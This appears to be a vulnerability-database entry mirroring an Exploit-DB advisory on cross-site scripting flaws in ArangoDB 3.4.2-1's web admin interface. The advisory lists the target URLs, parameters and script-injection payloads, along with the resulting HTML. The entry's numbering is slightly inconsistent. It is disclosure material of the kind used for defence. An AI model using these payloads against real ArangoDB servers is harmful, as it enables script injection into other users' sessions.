ArangoDB Community Edition 3.4.2-1 | Cross-Site Scripting

vendor:

ArangoDB Community Edition

by:

Ozer Goker

5.5

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: ArangoDB Community Edition

Affected Version From: 3.4.2-1

Affected Version To: 3.4.2-1

Patch Exists: NO

Related CWE:

CPE: a:arangodb:arangodb:3.4.2-1

Metasploit:

Other Scripts:

Platforms Tested:

2019

ArangoDB Community Edition 3.4.2-1 | Cross-Site Scripting

ArangoDB Community Edition 3.4.2-1 is vulnerable to Cross-Site Scripting (XSS) attacks. This vulnerability allows an attacker to inject malicious scripts into web pages viewed by other users. There are three different XSS vulnerabilities in ArangoDB 3.4.2-1: DOM Based XSS - Search, Reflected & Stored - Save as, and Stored - Delete query.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input before displaying it on web pages. Additionally, implementing content security policies (CSP) can help prevent XSS attacks.

Source

Exploit-DB raw data:

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# Exploit Title: ArangoDB Community Edition 3.4.2-1 | Cross-Site Scripting
# Date: 17.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.arangodb.com
# Software Link: https://www.arangodb.com/download-major/
# Version: 3.4.2-1
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Introduction

ArangoDB is a native multi-model, open-source database with flexible data
models for documents, graphs, and key-values. Build high performance
applications using a convenient SQL-like query language or JavaScript
extensions. Use ACID transactions if you require them. Scale horizontally
and vertically with a few mouse clicks.

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XSS details: DOM Based & Reflected & Stored

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XSS1 | DOM Based XSS - Search

URL
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#views


PAYLOAD
"><script>alert(1)</script>

<div class="search-field">
      <input type="text" value=""><script>alert(1)</script>"
id="viewsSearchInput" class="search-input" placeholder="Search..."/>
      <i id="viewsSearchSubmit" class="fa fa-search"></i>
</div>

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XSS2 | Reflected & Stored - Save as

URL
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#queries
http://127.0.0.1:8529/_db/_system/_api/user/root

METHOD
PATCH

PARAMETER
name

PAYLOAD
"><script>alert(2)</script>

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XSS3 | Stored - Delete query

URL
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#queries
http://127.0.0.1:8529/_db/_system/_api/user/root

METHOD
Get

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XSS3 | Reflected & Stored - Add User

URL
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#users
http://127.0.0.1:8529/_db/_system/_api/user
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#user/%22%3E%3Cscript%3Ealert(3)%3C%2Fscript%3E

METHOD
Post

PARAMETER
user,name

PAYLOAD
"><script>alert(3)</script>
"><script>alert(4)</script>

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XSS5 | DOM Based XSS - Search

URL
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#users


PAYLOAD
"><script>alert(5)</script>

<div class="search-field">
      <input type="text" value=""><script>alert(5)</script>"
id="userManagementSearchInput" class="search-input"
placeholder="Search..."/>
      <!-- <img id="userManagementSearchSubmit" class="search-submit-icon">
-->
      <i id="userManagementSearchSubmit" class="fa fa-search"></i>
</div>

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XSS6 | DOM Based XSS - Search

URL
http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#databases


PAYLOAD
"><script>alert(6)</script>

<div class="search-field">
      <input type="text" value=""><script>alert(6)</script>"
id="databaseSearchInput" class="search-input" placeholder="Search..."/>
      <!-- <img id="databaseSearchSubmit" class="search-submit-icon">-->
      <i id="databaseSearchSubmit" class="fa fa-search"></i>
</div>

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